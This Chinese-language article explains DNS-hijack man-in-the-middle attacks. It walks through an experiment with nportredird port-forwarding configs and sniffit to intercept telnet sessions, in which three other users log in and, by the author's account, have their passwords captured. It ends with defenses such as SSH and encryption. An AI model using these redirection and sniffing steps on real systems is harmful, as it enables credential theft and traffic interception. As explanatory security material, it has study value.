原理:非常简单,攻击者通过某种方法(比如攻破DNS服务 器,DNS欺骗,控制路由器)把目标机器域名的对应的IP 指到攻击者所控制的机器,这样所有外界对目标机器的请求将 涌向攻击者的机器,这时攻击者可以转发所有的请求到目标机 器,让目标机器进行处理,再把处理结果发回到发出请求的客 户机。实际上,就是把攻击者的机器设成目标机器的代理服务 器,这样,所有外界进入目标机器的数据流都在攻击者的监视 之下了,攻击者可以任意窃听甚至修改数据流里的数据,收集 到大量的信息。 发起这种类型的攻击并不是想象的那么困难,bind本身就是第 一号的漏洞根源,对bind的攻击程序网上随处可以得到,控制 或欺骗一个DNS远比攻击一个防守严密的商业站点容易的多 。攻击所需的另一个工具就代理服务器软件,这可以是一个简 单的端口转发程序,比如nportredird就是很不错的一个,它可 以监听任意端口,把从某个(些)端口收到的数据包转发到任 意机器的任意端口,利用它的这个功能可以把机器轻易地配置 成最简单的代理服务器。因此,所有的工具都是现成的,攻击 者几乎无需编写代码。我相信有人早就有了这种攻击设想甚至 已经实践过了。 为了证明这种Man-in-the-Middle攻击的可行性,我在两台机器 之间做了一次模拟试验,下面是试验的情况: 试验是在两台机器上进行的,一台是朋友的linux服务器BBB ,假设其IP为111.111.111.111,另一台是我的linux台式机 AAA,假设其IP为222.222.222.222,BBB机器作为目标 机器,AAA机器作为攻击机器。 在BBB的机器上先把telnet服务从23口移到38口: [stardust@BBB bin]$ grep telnet /etc/services telnet 38/tcp rtelnet 107/tcp # Remote Telnet rtelnet 107/udp 然后用nportredird取而代之: [stardust@BBB bin]$ cat nport.conf /* ** sample configuration file for nportredird. ** ** Each redirection defines its own 'redirection definition' as oulined below. ** The man page offers more information on the format and the meaning of the ** the directives (man nportredird). They mostly self-explanatory... ** This file goes into /etc/nportredird as nportredird.conf ** unless command line arguments were used to override that. AYmAN */ options { file://empty for now } redirection { redirection_type "tcp"; destination_host "222.222.222.222"; <------ AAA的ip destination_port "2221"; <------ 发到AAA的2221口 listen_on_port "23"; <------ 监听23口 } [stardust@BBB bin]# ./nportredird -c ./ -f nport.conf <------ 跑起来 好了,到现在所有到BBB机器的登录请求将会被转发到AAA机器的2221口。 用这个nportredird的转发摸拟DNS的转向。 在AAA上也跑上nportredird,把从2221口收到的数据包再转发回BBB机器的38口? ň褪切? 改后的telnet服务口): [root@~]# cd nportredird-0.3 [root@~/nportredird-0.3]# cd bin [root@~/nportredird-0.3/bin]# ls -l total 152 -rw-r--r-- 1 root root 569 Mar 26 02:33 nport.conf -rwxr-xr-x 1 root root 153471 Jul 23 2000 nportredird [root@~/nportredird-0.3/bin]# cat nport.conf /* ** sample configuration file for nportredird. ** ** Each redirection defines its own 'redirection definition' as oulined below. ** The man page offers more information on the format and the meaning of the ** the directives (man nportredird). They mostly self-explanatory... ** This file goes into /etc/nportredird as nportredird.conf ** unless command line arguments were used to override that. AYmAN */ options { file://empty for now } redirection { redirection_type "tcp"; destination_host "111.111.111.111"; <------ BBB机器的ip destination_port "38"; <------ 到BBB的38口 listen_on_port "2221"; <------ 在2221口监听 } [root@~/nportredird-0.3/bin]# ./nportredird -c ./ -f nportd 这个nportredird完成攻击机器到目标机器的服务转发。 好了,到现在,到BBB机器23端口的登录请求在我的AAA上打了个转后又被转发 回BBB机器的38口,所有的telnet会话都在我的监视之下了。 在AAA机器跑上sniffit: [root@~/nportredird-0.3/bin]# sniffit -p 2221 -b -t 111.111.111.111 -A . & 就这样,一张罗网已经撒下,就等鱼往里跳了 :) 第一条鱼上钩了 :) : [stardust@BBB bin]$ w 9:41pm up 23:16, 4 users, load average: 4.03, 3.71, 2.26 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT guy1 pts/0 222.222.222.222 9:26pm 4:11 13:15 ? - <------ 注意到他的from ip了吗?是AAA的ip,而不是他自己的,因为telnet会话是我的AAA转发到BBB的 stardust pts/4 222.222.222.222 9:01pm 0.00s 0.11s 0.01s w 又过了半个多钟头,又两条上钩了: [stardust@BBB bin]$ w 10:15pm up 23:50, 4 users, load average: 4.02, 4.02, 3.78 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT guy2 pts/1 222.222.222.222 10:12pm 2:46 0.17s 0.10s -bash guy3 pts/2 222.222.222.222 10:12pm 1:29 0.22s 0.11s -bash stardust pts/4 222.222.222.222 9:01pm 1.00s 0.34s 0.10s w sniffit成功地记录了所有会话(当然包括口令了 :) 这次试验还只是一次模拟的攻击,攻击的目地也不在于sniff口令(要sniff口令 直接在本地机器上就可以了,没必要转来转去的),只是为了验证这种Man-in-the-Middle 方式的可行性。 这种Man-in-the_Middle方式的攻击威力巨大,如果黑客控制了某些域名的权威 DNS服务器,所有该服务器负责名字解析的机器对外的交互都有可能受到黑 客的窃听和控制,而无需对目标机器有什么直接的攻击。如果被攻击的服务器 是某个电子商务网站,它在WWW服务过程中没有使用SSL之类的加密协议 ,那么对那个网站来说简直就是恶梦了。所有明文传送的协议如smtp,pop,imap, telnet等都将受到威胁。当然这种攻击的弱点同样明显,就是非常容易曝露攻 击者自己,因为在攻击的过程中,攻击机器实际上成了目标机器的代理服务器 ,外界到目标机器的数据包都将通过它转发(正如上面telnet会话中w看到的那 样),因此在目标机器的日志中可以看到所有的请求都是来自攻击者的机器, 这当然会引起网管的怀疑。还有如果攻击机器的带宽和处理能力不够,对于本 来流量比较大的目标机器将会有明显的服务延迟。 那么如何挫败这种攻击呢?这也很简单,直接用IP访问重要的服务,这样至 少可以避开DNS欺骗攻击。最根本的解决办法就是加密所有对外的数据流, 对服务器来说就是尽量使用SSH之类的有加密支持的协议,对一般用户应该用 PGP之类的软件加密所有发到网络上的数据。说起来容易,做起来难 :) |